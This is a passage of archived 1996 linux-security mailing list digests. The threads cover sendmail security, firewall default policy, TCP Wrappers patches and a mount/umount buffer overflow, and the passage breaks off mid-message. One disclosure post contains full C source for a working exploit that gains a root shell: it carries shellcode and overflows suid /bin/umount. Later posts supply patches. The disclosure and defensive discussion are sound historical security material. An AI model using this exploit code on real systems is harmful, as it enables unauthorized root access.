Aug 96 02:40 BST >>debug >>250 level 1. You think this is a security hole ? Please RTFM. >>quit >>221 chiark.chu.cam.ac.uk closing connection Might I just comment, I'm sure smail has just as many holes as sendmail, if not more.. The reason it's supposedly "secure" is because smail is a little more low profile than sendmail. sendmail is used on probably 80%-90% of all UNIX machines everywhere in one form or another, therefor (h|cr)ackers have more impetus to write exploits for it. If smail ever got "really popular", it would probably suffer the same growing pains that sendmail has gone through, and will continue to go through. (And a side note, anyone who thinks they're 'more secure' because of smail is relying on security through obscurity, and is only kidding themselves.) If you _really_ want security, try running sendmail through inetd, uid(nobody), gid(mail), and hack in some pgp encryption to the mail spool. Just running smail won't do it, or even more to the point NOT running sendmail definitly won't do it. - -Nate ------------------------------ From: Graeme Elsworthy Date: Fri, 09 Aug 1996 17:41:19 +1000 Subject: [linux-security] Suggestion for Linux default fw policy Hi all, I've been bitten by what I consider to be a problem with the default policy in Linux 2.0. I mean the default policy immediately after an interface is ifconfig'ed. In net/ipv4/ip_fw.c line 153 (2.0.10, not sure other patch levels) there are three assignments, one for each of the in, out and forward directions, of IP_FW_F_ACCEPT. I suggest that anybody using Linux as part of a firewall, like as a filtering router or bastion host, should change these assignments to 0, thus changing the default policy to "deny". Why? Because for the time between an interface being ifconfig'ed and the filtering rules being set the interface is set to "accept" all and every packet. This is not good. Especially if, as in my case, a reboot freezes between the ifconfig and the setting of the filtering rules - the interface is up and forwarding all packets, not filtering packets as needed, and nothing but manual intervention could fix it. Any comments? Cheers, Graeme. Graeme Elsworthy, Systems Manager __________T_e_l_e_c_t_r_o_n_i_c_s__|/\ __ Telectronics Pacing Systems Pacing Systems \/ 7 Sirius Rd, Lane Cove, NSW 2066, Australia Tel: +61 2 9413 6888 Fax: +61 2 9413 6060 Email: [email protected] ------------------------------ From: [email protected] (Rogier Wolff) Date: Fri, 9 Aug 1996 17:52:25 +0200 (METDST) Subject: [linux-security] Suggestion for Linux default fw policy (fwd) Graeme Elsworthy wrote: > Why? Because for the time between an interface being ifconfig'ed and > the filtering rules being set the interface is set to "accept" all and > every packet. This is not good. Especially if, as in my case, a reboot > freezes between the ifconfig and the setting of the filtering rules - the > interface is up and forwarding all packets, not filtering packets as > needed, and nothing but manual intervention could fix it. > > Any comments? Yes. This is why Jos Vos (author of ipfwadm) recommends first setting your firewall rules, and only then ifconfig-ing the devices to go UP. :-) Roger. - -- /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} ------------------------------ From: Nikita Borisov Date: Fri, 09 Aug 1996 17:08:32 -0400 Subject: Re: [linux-security] TCP Wrappers Syslogging Algis Rudys writes: >Hi all. > I am using TCP Wrappers 7.4 by Wietse Venema. I am trying >to get the wrappers to log both the Domain name and IP address to >Syslog of all Incoming connections (currently only Names are >logged.). > > Is this advisable; and if so, is there a patch available >to indicate to me how I should go about doing this? There is now. :) I've added a ALWAYS_IP_ADDR define to the Makefile that makes the daemon always log the IP address, regardless of whether the DNS fails. Here's the patch: [REW: Nit: The comment on the second added line should read "lookup succeeds". The TCP wrappers are already pretty paranoid about trusting DNS, but having the IP number really can't hurt. Note that my current setup allows connections from anywhere, so it will also allow connections from "PARANOID", the special host that corresponds to someone who is attempting a DNS spoof.] diff -Nur old/tcp_wrappers_7.4/Makefile tcp_wrappers_7.4/Makefile - --- old/tcp_wrappers_7.4/Makefile Mon Mar 25 13:22:25 1996 +++ tcp_wrappers_7.4/Makefile Fri Aug 9 17:03:59 1996 @@ -619,6 +619,10 @@ # # KILL_OPT= -DKILL_IP_OPTIONS +# Optional: Always log the IP address of the host, even if the DNS +# lookup fails +ALWAYS_IP_OPT= -DALWAYS_IP_ADDR + ## End configuration options ############################ @@ -628,7 +632,7 @@ .c.o:; $(CC) $(CFLAGS) -c $*.c CFLAGS = -O -DFACILITY=$(FACILITY) $(ACCESS) $(PARANOID) $(NETGROUP) \ - - $(BUGS) $(SYSTYPE) $(AUTH) $(UMASK) \ + $(BUGS) $(SYSTYPE) $(AUTH) $(UMASK) $(ALWAYS_IP_OPT) \ -DREAL_DAEMON_DIR=\"$(REAL_DAEMON_DIR)\" $(STYLE) $(KILL_OPT) \ -DSEVERITY=$(SEVERITY) -DRFC931_TIMEOUT=$(RFC931_TIMEOUT) \ $(UCHAR) $(TABLES) $(STRINGS) $(TLI) $(EXTRA_CFLAGS) $(DOT) \ diff -Nur old/tcp_wrappers_7.4/eval.c tcp_wrappers_7.4/eval.c - --- old/tcp_wrappers_7.4/eval.c Mon Jan 30 13:51:46 1995 +++ tcp_wrappers_7.4/eval.c Fri Aug 9 17:03:59 1996 @@ -85,6 +85,9 @@ struct host_info *host; { char *hostname; +#ifdef ALWAYS_IP_ADDR + static char host_and_ip[2 * STRING_LENGTH+2]; +#endif #ifndef ALWAYS_HOSTNAME /* no implicit host lookups */ if (host->name[0] == 0) @@ -92,7 +95,12 @@ #endif hostname = eval_hostname(host); if (HOSTNAME_KNOWN(hostname)) { +#ifdef ALWAYS_IP_ADDR + sprintf(host_and_ip, "%s [%s]", host->name, eval_hostaddr(host)); + return host_and_ip; +#else return (host->name); +#endif } else { return (eval_hostaddr(host)); } - -- Nikita Borisov - Computer Science/Pure Math at the University of Waterloo (almost psycho stream). finger [email protected] for more info ------------------------------ From: Paulo de Tarso Date: Fri, 9 Aug 1996 19:07:47 -0300 (GMT-0300) Subject: Re: [linux-security] sendmail security On Thu, 8 Aug 1996, Nathan Ramella wrote: > sendmail is used on probably 80%-90% of all UNIX machines Would someone please comment security issues for sendmail V8 versus sendmail + IDA? Are all security patches for sendmail V8 also applied to sendmail+IDA? Is the latter a good and safe version? And: being the IDA version numbered 5.67 (if memory helps) and sendmail numbered 8.xx, are there important functionalities missing? [REW: As far as I know, IDA stopped being maintained quite a while ago, and I don't know wether important patches have been "retrofitted" to IDA. There have been several sendmail fixes since IDA stopped being upgraded. I'm told that sendmail 8.7.x now supports features that allows migration from an IDA setup. Please correct me if I'm wrong: I've never worked wtih IDA, I've never tried locating a modern IDA, I've never tried migrating from IDA to 8.7.x.] Thanks, Paulo. ------------------------------ From: "Jeffrey B. McGough" Date: Sat, 10 Aug 1996 22:58:32 -0400 (EDT) Subject: Re: [linux-security] sendmail security Hey, Pls forgive me if this goes to to many people... The migration from IDA to that latest version of sendmail 8.7.x is very easy... Pls read the docs tho' some of the syntax is different. On Fri, 9 Aug 1996, Paulo de Tarso wrote: > Would someone please comment security issues for sendmail V8 versus > sendmail + IDA? [...] [Mod: Quoting trimmed. --Jeff.] Lator, PGP: finger [email protected] Jeffrey B. McGough Fprnt: AC 6F 34 F6 A2 DB F0 2E 6D 98 FA F5 33 AB DD 0F UNIX Toolsmith [email protected] ------------------------------ From: [email protected] (Alan Cox) Date: Sun, 11 Aug 1996 21:42:29 +0100 (BST) Subject: Re: [linux-security] Suggestion for Linux default fw policy > default policy in Linux 2.0. I mean the default policy immediately > after an interface is ifconfig'ed. In net/ipv4/ip_fw.c line 153 > (2.0.10, not sure other patch levels) there are three assignments, > one for each of the in, out and forward directions, of IP_FW_F_ACCEPT. Correct > I suggest that anybody using Linux as part of a firewall, like as a > filtering router or bastion host, should change these assignments to 0, > thus changing the default policy to "deny". Not required > Why? Because for the time between an interface being ifconfig'ed and > the filtering rules being set the interface is set to "accept" all and > every packet. This is not good. Especially if, as in my case, a reboot > freezes between the ifconfig and the setting of the filtering rules - the > interface is up and forwarding all packets, not filtering packets as > needed, and nothing but manual intervention could fix it. > > Any comments? You can change the policy (and should do) before you configure the interfaces. You can also add all but interface specific rules before ifconfig as well. Alan [Mod: Most of this information has already gone out to linux-security, but I approved this due to Alan's pointing out the detail regarding interface-specific rules. --Jeff.] ------------------------------ From: bloodmask Date: Tue, 13 Aug 1996 06:49:55 +0200 Subject: [linux-security] Vulnerability in ALL linux distributions This is a multi-part message in MIME format. - --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings folks, Sorry we haven't released this thing sooner, due to testing we've conducted to determine vulnerability on other systems besides Linux, I've attached the officail release, Patch this up quick, and if I were you, I wouldn't trust those old binaries to be secure anymore, this thing has been with Linux since it's beggining, at it's high time this "feature" is removed. - --------------3E2982D84A560D2D9A831FA Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="cvnmount.exploit" Covin Security Releases: (mount bufferoverflow exploit v1.0) Tested operated systems: All current distributions of Linux Affect: Local users on systems affected can gain overflow mounts syntax buffer and execute a shell by overwriting the stack. Affected binaries: (/bin/mount and /bin/umount) Workaround: On all current distributions of Linux remove suid bit of /bin/mount and /bin/umount. [chmod -s /bin/mount;chmod -s /bin/umount] Remarks: For gods sake, how many more times are we gonna see this kind of problem? It's been with Linux since it's very beggining, and it's so easy to exploit. Similiar buffer overflow vulnerabilities have been found in Linux distributions many times before, splitvt, dip, just to name a few examples. Any remarks, notes or other forms of feedback may be redirected to: [email protected] [Mod: This exploit has already been posted to Bugtraq. --Jeff.] <------------------------------[ Cut here ]----------------------------------> /* Mount Exploit for Linux, Jul 30 1996 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::: :::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`:::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ :::::: ::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::: :::::::...........:::...........:::...........::.......:......:.......:::::: :::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::: Discovered and Coded by Bloodmask & Vio Covin Security 1996 */ #include #include #include #include #include #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); } - --------------3E2982D84A560D2D9A831FA-- ------------------------------ End of linux-security-digest V2 #45 *********************************** linux-security-digest/v02.n046100664 1767 1767 45626 6205123237 15457 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #46 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 16 August 1996 Volume 02 : Number 046 [linux-security] Re: Vulnrability in all known Linux distributions [linux-security] mount/umount realpath() buffer overflow [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions Re: [linux-security] sendmail security Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? ---------------------------------------------------------------------- From: Steve Czetty Date: Tue, 13 Aug 96 04:15:59 -0500 Subject: [linux-security] Re: Vulnrability in all known Linux distributions Hi all, after trying the mount exploit recently posted on Bugtraq, and watching it succeed, I quickly went to my mount source (version 2.5k, I don't know if there's an newer one or not, I wasn't THAT motivated :-) ) and produced the following patch. A 'grep strcpy *.c', 'grep sprintf *.c', and 'grep strcat *.c' was all I did, so I can't guarantee complete security, but it should be better than it was before.. The problem in this case happens to be in the libc implementation of realpath(), so I plan to post a patch against libc 5.3.12 shortly as well, and this patch will not be necessary for THIS security hole. However, considering the number of calls to strcpy() and the like, I doubt this will be the last one we will see with mount. - -Steve - ----- CUT HERE ----- diff --recursive --unified mount-2.5k/Makefile mount-2.5k-fixed/Makefile - --- mount-2.5k/Makefile Mon Apr 29 20:25:44 1996 +++ mount-2.5k-fixed/Makefile Tue Aug 13 03:50:36 1996 @@ -10,7 +10,7 @@ # For now: a standalone version CC = gcc - -OPTFLAGS= -O2 -fomit-frame-pointer +OPTFLAGS= -O2 -fomit-frame-pointer #CFLAGS = -pipe $(OPTFLAGS) WARNFLAGS = -Wall -Wstrict-prototypes -Wmissing-prototypes #LDFLAGS = -s -N @@ -64,10 +64,10 @@ %.o: %.c $(COMPILE) $< - -mount: mount.o fstab.o sundries.o version.o $(NFS_OBJS) $(LO_OBJS) +mount: mount.o fstab.o sundries.o version.o realpath.o $(NFS_OBJS) $(LO_OBJS) $(LINK) $^ $(LDLIBS) -o $@ - -umount: umount.o fstab.o sundries.o version.o $(LO_OBJS) +umount: umount.o fstab.o sundries.o version.o realpath.o $(LO_OBJS) $(LINK) $^ $(LDLIBS) -o $@ swapon: swapon.o fstab.o version.o Only in mount-2.5k-fixed/h: loop.h.orig diff --recursive --unified mount-2.5k/lomount.c mount-2.5k-fixed/lomount.c - --- mount-2.5k/lomount.c Mon May 6 10:05:10 1996 +++ mount-2.5k-fixed/lomount.c Tue Aug 13 03:41:06 1996 @@ -95,7 +95,7 @@ FILE *procdev; for(i = 0; ; i++) { - - sprintf(dev, "/dev/loop%d", i); + snprintf(dev, 20, "/dev/loop%d", i); if (stat (dev, &statbuf) == 0 && S_ISBLK(statbuf.st_mode)) { somedev++; fd = open (dev, O_RDONLY); Only in mount-2.5k-fixed/: mount-exploit.c diff --recursive --unified mount-2.5k/nfsmount.c mount-2.5k-fixed/nfsmount.c - --- mount-2.5k/nfsmount.c Sun Mar 24 10:52:02 1996 +++ mount-2.5k-fixed/nfsmount.c Tue Aug 13 03:04:20 1996 @@ -108,7 +108,7 @@ msock = fsock = -1; mclient = NULL; - - strcpy(hostdir, spec); + strncpy(hostdir, spec, 1024); if ((s = (strchr(hostdir, ':')))) { hostname = hostdir; dirname = s + 1; @@ -140,7 +140,7 @@ old_opts = *extra_opts; if (!old_opts) old_opts = ""; - - sprintf(new_opts, "%s%saddr=%s", + snprintf(new_opts, 1024, "%s%saddr=%s", old_opts, *old_opts ? "," : "", inet_ntoa(server_addr.sin_addr)); *extra_opts = xstrdup(new_opts); @@ -492,7 +492,7 @@ if (nfs_errtbl[i].stat == stat) return strerror(nfs_errtbl[i].errno); } - - sprintf(buf, "unknown nfs status return value: %d", stat); + snprintf(buf, 256, "unknown nfs status return value: %d", stat); return buf; } diff --recursive --unified mount-2.5k/realpath.c mount-2.5k-fixed/realpath.c - --- mount-2.5k/realpath.c Sat Mar 11 20:39:59 1995 +++ mount-2.5k-fixed/realpath.c Tue Aug 13 03:51:24 1996 @@ -79,7 +79,7 @@ int n; /* Make a copy of the source path since we may need to modify it. */ - - strcpy(copy_path, path); + strncpy(copy_path, path, PATH_MAX); path = copy_path; max_path = copy_path + PATH_MAX - 2; /* If it's a relative pathname use getwd for starters. */ @@ -161,8 +161,8 @@ return NULL; } /* Insert symlink contents into path. */ - - strcat(link_path, path); - - strcpy(copy_path, link_path); + strncat(link_path, path, (PATH_MAX - strlen(link_path))); + strncpy(copy_path, link_path, PATH_MAX); path = copy_path; } #endif /* S_IFLNK */ diff --recursive --unified mount-2.5k/sundries.c mount-2.5k-fixed/sundries.c - --- mount-2.5k/sundries.c Tue Apr 23 14:37:35 1996 +++ mount-2.5k-fixed/sundries.c Tue Aug 13 03:34:15 1996 @@ -354,10 +354,10 @@ if (path == NULL) return NULL; - - + if (realpath (path, canonical)) return canonical; - - strcpy (canonical, path); + strncpy (canonical, path, (PATH_MAX + 1)); return canonical; } diff --recursive --unified mount-2.5k/umount.c mount-2.5k-fixed/umount.c - --- mount-2.5k/umount.c Tue Apr 23 14:34:05 1996 +++ mount-2.5k-fixed/umount.c Tue Aug 13 03:32:56 1996 @@ -67,12 +67,12 @@ char hostname[MAXHOSTNAMELEN]; char dirname[1024]; - - strcpy(buffer,spec); + strncpy(buffer,spec,256); /* spec is constant so must use own buffer */ if((p = strchr(buffer,':'))) { *p = '\0'; - - strcpy(hostname, buffer); - - strcpy(dirname, p+1); + strncpy(hostname, buffer, 256); + strncpy(dirname, p+1, 1024); #ifdef DEBUG printf("host: %s, directory: %s\n", hostname, dirname); #endif ------------------------------ From: "David J. Meltzer" Date: Tue, 13 Aug 1996 10:42:34 -0400 (EDT) Subject: [linux-security] mount/umount realpath() buffer overflow The problem "bloodmask" "discovered" (this bug has been exploited and reported as a possible problem on linux-security before "bloodmask" seems to have found it) with mount/umount has been in the libc realpath() function failing to check bounds on the path parameter passed to it. This function ws duplicated with the identical code inside the mount distribution, and then not used for some reason I don't understand; in fact the code will compile cleanly if you simply rm realpath.c from the mount distribution. However since people are more likely to upgrade their mount/umount code than libc, it is probably wise at this point to leave a corrected version of realpath.c in the distribution to avoid relying on a very likely broken libc. For the mount distribution (from mount-util-linux-1.10.tar.gz), the diff for a bounds checking realpath.c is: 82c82 < strcpy(copy_path, path); - --- > strncpy(copy_path, path, PATH_MAX); 165c165 < strcpy(copy_path, link_path); - --- > strncpy(copy_path, link_path, PATH_MAX); You then need to add realpath to the Makefile: 62c62 < mount: mount.o fstab.o sundries.o version.o $(NFS_OBJS) $(LO_OBJS) - --- > mount: mount.o fstab.o sundries.o version.o realpath.o $(NFS_OBJS) $(LO_OBJS) 65c65 < umount: umount.o fstab.o sundries.o version.o $(LO_OBJS) - --- > umount: umount.o fstab.o sundries.o version.o realpath.o $(LO_OBJS) 77a78,80 > > realpath.o: realpath.c > $(COMPILE) $(RPC_CFLAGS) realpath.c In the basically identical libc bsd/realpath.c code (looking at a 5.0.9 source tree, perhaps this was changed/fixed already in newer versions): 72c72 < strcpy(copy_path, path); - --- > strncpy(copy_path, path, PATH_MAX); 155c155 < strcpy(copy_path, link_path); - --- > strncpy(copy_path, link_path, PATH_MAX); I believe this fixes the exploited buffer overflow in realpath.c, I would of course encourage you to review the source code yourself for ANY program you are going to add suid on your system. Other problems that may exist elsewhere in the mount/umount code I have not examined, as with any program, if you do not have a specific need to run it suid root, don't. Dave - --------------------------------+--------------------- David J. Meltzer | Email: [email protected] Systems Engineer | Web: www.iss.net Internet Security Systems, Inc. | Fax: (404)252-2427 ------------------------------ From: Jeff Uphoff Date: Tue, 13 Aug 1996 16:17:16 -0400 Subject: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload "MA" == Mike Acar writes: MA> Speaking of suid binaries, *why* are /bin/mount and /bin/umount suid? MA> These shouldn't be run by anybody but the superuser. Linux supports the concept of user-mountable filesystems (via the option specification "user" in /etc/fstab), allowing non-root users to mount and unmount e.g. removable media like CD-ROM's and floppies. This functionality is obviously not available unless mount/umount are suid root. One thing to note about the "user" option in Linux is that once a user mounts one of these filesystems, *any* non-root user can unmount it (unless it's busy). I wrote a patch, sometime in '93, that tracked what user mounted such an FS and only allowed that user--or root, of course--to unmount said filesystem. I never submitted this patch to the util. maintainers (I used it extensively locally, however), but since it looks like mount/umount are about to get a bit of a rewrite perhaps I should update it and submit it.... - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: [email protected] (Alan Cox) Date: Tue, 13 Aug 1996 23:48:07 +0100 (BST) Subject: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions > For gods sake, how many more times are we gonna see this kind of problem? > It's been with Linux since it's very beggining, and it's so easy to > exploit. Similiar buffer overflow vulnerabilities have been found in > Linux distributions many times before, splitvt, dip, just to name a few > examples. I've been doing some libc digging with libc5.2.18 and I think the answer is LOTS more. Especially as some of the files with buffer overruns are in resolv+ and other files with a 1983 BSD copyright (like ruserok, and rnetrc) I've posted a list to linux-gcc. Some like the ones in locale are definitely working on other systems too. And I know for sure other vendor libc's are as bad. Alan ------------------------------ From: Mr Bjorn Borud Date: Tue, 13 Aug 1996 21:31:06 GMT Subject: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions [bloodmask] | | Affect: Local users on systems affected can gain overflow mounts syntax | buffer and execute a shell by overwriting the stack. | | Affected binaries: | (/bin/mount and /bin/umount) | | Workaround: | On all current distributions of Linux remove suid bit of /bin/mount and | /bin/umount. | [chmod -s /bin/mount;chmod -s /bin/umount] why are these suid per default anyway? a better policy for suidness would be to NOT have anything suid per default if it's just to allow an optional feature. I cant remember having seen one single machine running Linux having 'user' as an option on any of it's filesystems. why not encourage people to use amd instead? or am I missing some major point here? | Remarks: | For gods sake, how many more times are we gonna see this kind of | problem? It's been with Linux since it's very beggining, and it's | so easy to exploit. Similiar buffer overflow vulnerabilities have | been found in Linux distributions many times before, splitvt, dip, | just to name a few examples. as long as things are written in C I'm afraid you'll have to expect this kind of weakness in many programs. it's real easy to miss potential buffer overruns. - -Bj�rn ------------------------------ From: Ian Jackson Date: Tue, 13 Aug 96 14:06 BST Subject: Re: [linux-security] sendmail security (Apologies to everyone for prolonging this, but I'm loathe to allow this kind of FUD-spreading to go unchallenged.) [Mod: Let's try and call it a wrap on this subject; it's starting to approach the warfare stage, and thus is probably best handled via private e-mail messages. Thanks! --Jeff.] Nathan Ramella writes ("Re: [linux-security] sendmail security"): ... > Might I just comment, I'm sure smail has just as many holes as > sendmail, if not more.. The reason it's supposedly "secure" is > because smail is a little more low profile than sendmail. Ah, I see: sod the brilliant sword of truth and go for the chainsaw of blatant assertion. Have you actually read any of Smail's source code, or even its documentation ? We should be careful of people saying `X is not secure' with no evidence, just as we should be careful of people saying `Y is secure'. There are good reasons, besides the very low number of known security exposures in Smail compared to very high number in sendmail, to think that Smail is much more secure than sendmail. The configuration scheme and overall design is much simpler, and security has obviously been considered at the outset of the design (though it hasn't been given top priority). In particular, Smail's approach to running programs as a result of incoming messages is much more careful than sendmail's (and much more easily configured and controlled), and even tends to err excessively on the side of caution sometimes. Having read parts of the source code I can say that what I have seen is of a generally high quality, and I would be surprised if it had more than one or two buffer overrun bugs (I would hesitate to say that it has none, but none have been identified so far). Furthermore, Smail is being used a lot more lately. This increase in use is in part due to Smail's simplicity and - paradoxically - its lack of flexibility. The fact that Smail can't do header rewriting and many of the other grungy hacks that sendmail is capable of means that it's harder to configure it to make grungy messes by mistake :-). This makes Smail unsuitable for situations where you need these features, but this is less necessary nowadays unless you're running a mail hub which has to talk to broken LAN mail systems. ... > If smail ever got "really popular", it would probably suffer the > same growing pains that sendmail has gone through, and will continue > to go through. > > (And a side note, anyone who thinks they're 'more secure' because > of smail is relying on security through obscurity, and is only > kidding themselves.) Your assertions are without foundation. > If you _really_ want security, try running sendmail through inetd, > uid(nobody), gid(mail), and hack in some pgp encryption to the > mail spool. Just running smail won't do it, or even more to the point > NOT running sendmail definitly won't do it. Not running sendmail _will_ _definitely_ protect you against the security exposures that it has had that allow remote users to gain a shell on your system. Running sendmail without root privilege will help, of course, but it is a fact of life that attacking a Unix system from the inside is very much easier than from the outside. Running an important daemon as `nobody' is a bad idea, of course. Create a special account (or use an existing system account like `mail'). Ian. ------------------------------ From: Jeff Uphoff Date: Wed, 14 Aug 1996 01:59:03 -0400 Subject: Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions "BB" == Bjorn Borud writes: BB> why not encourage people to use amd instead? or am I missing some BB> major point here? No stock version of 'amd' (that I've seen, at least) automatically times out local (device) filesystem mounts; once you automount a device--as opposed to an NFS--filesystem, it stays mounted, and you're forced to do an 'amq -u' on it as root to force a timeout/unmount. That, or to make 'amq' suid root (possibly restricting its execution to a "trusted" set of users). No bets on the suid-safety of 'amq' here though.... Has anyone written patches to the 'amd' suite to (optionally) change this behavior? - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Jeff Uphoff Date: Wed, 14 Aug 1996 12:08:19 -0400 Subject: Re: [linux-security] Re: [linux-alert] Vulnerability in ALL linux distributions "JP" == Jon Peatfield writes: JP> Hmm amq doesn't need to be suid, since it just talks rpc to amd. I JP> use amq -u all the time as non-root and it works for me. Damn. For some reason it didn't work for me as non-root awhile back (when I was initially configuring my amd/amq setup)--but now it does! There was probably a (now-fixed) configuration glitch present at that time.... So...I stand 100% corrected on my point regarding the requirement for amq to be suid root to umount local device-based filesystems. Thanks! - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: Frank Parato Date: Tue, 13 Aug 1996 10:39:31 -0400 (EDT) Subject: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Hello, I'm very new to this mailing list, so forgive me if I ask questions about things that have already been discussed. However my system was recently invaded by a complete outsider. The daemons above are the only ones that are running on my machine. Does anyone know of any security holes that give the exploiter root on any of the above daemons ? qmail has the basic setup, I did not hear of any security holes in qmail so all that was changed were local configurations wu.ftpd does allow anonymous connections, it has its own bin directory, (not /usr/bin), and the site exec option seems that it is non-functional. deslogind hasn't been used in a long time, and was not compiled with -O2. other that that.. I doubt theres a security hole in in.telnetsnoopd. Anyone have any suggestions or ideas ? Thanks Frank Parato ------------------------------ End of linux-security-digest V2 #46 *********************************** linux-security-digest/v02.n047100664 1767 1767 52073 6206323561 15455 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #47 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 20 August 1996 Volume 02 : Number 047 [linux-security] Archive/Listing [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. [linux-security] Archive/Listing Re: [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. Re: [linux-security] Problems running crack on linux. [linux-security] des_setparity security problem Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] Problems running crack on linux. Re: [linux-security] Archive/Listing Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload [linux-security] inetd and denial-of-service Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] inetd and denial-of-service System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) ---------------------------------------------------------------------- From: The Ghost who Admins Date: Tue, 13 Aug 1996 11:47:37 -0700 (MST) Subject: [linux-security] Archive/Listing Hey all. Just wondering if anyone has a listing of all the vulnerabilities of the current Slackware dist. Basically, if I setup a new machine...what are the holes I need to patch. I know of a few but I KNOW I'm missing alot. Thanks in advance. :) Mike Evans ------------------------------ From: "Robert R. Collier" Date: Fri, 16 Aug 1996 16:21:53 +0100 (BST) Subject: [linux-security] Problems running crack on linux. I'm having some problems running Crack 4.1 on linux 2.0. I've given out quite a lot of accounts on my machine over the last year or so, and I want to check how secure they are. A task fro crack I thought. So I downloaded crack, edited the Crack shell script and Sources/conf.h as appropriate, and then tried running crack. Whatever I do I get this: - --8<--8<-- pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. pwc: Aug 16 16:11:12 Terminating... - -->8-->8-- [Mod: I've heard reports of this same problem from others, though I've not looked into its source myself yet. --Jeff.] I tried changing various #defines in Sources/conf.h but to no effect. Can someone tell me how to get the software to run correctly? I'm not a c programmer so I'm not sure how to proceed. I tried several copies of the sources - the cannonical source, and the tar.gz's on both sunsite and tsx-11 but no joy :(. - Rob. - -- Robert R. Collier | The Terry Pratchett Homepage | \\\\\ send subject [email protected] | http://www.lspace.org/ | \\\\\\\__o | "get pgp" Save the Hedgehog | |__\\\\\\\'/__| for keys ------------------------------ From: Elliot Lee Date: Fri, 16 Aug 1996 14:22:19 -0400 (EDT) Subject: Re: [linux-security] Problems running crack on linux. On Fri, 16 Aug 1996, Robert R. Collier wrote: [Mod: Quoting trimmed. --Jeff.] > --8<--8<-- > pwc: Aug 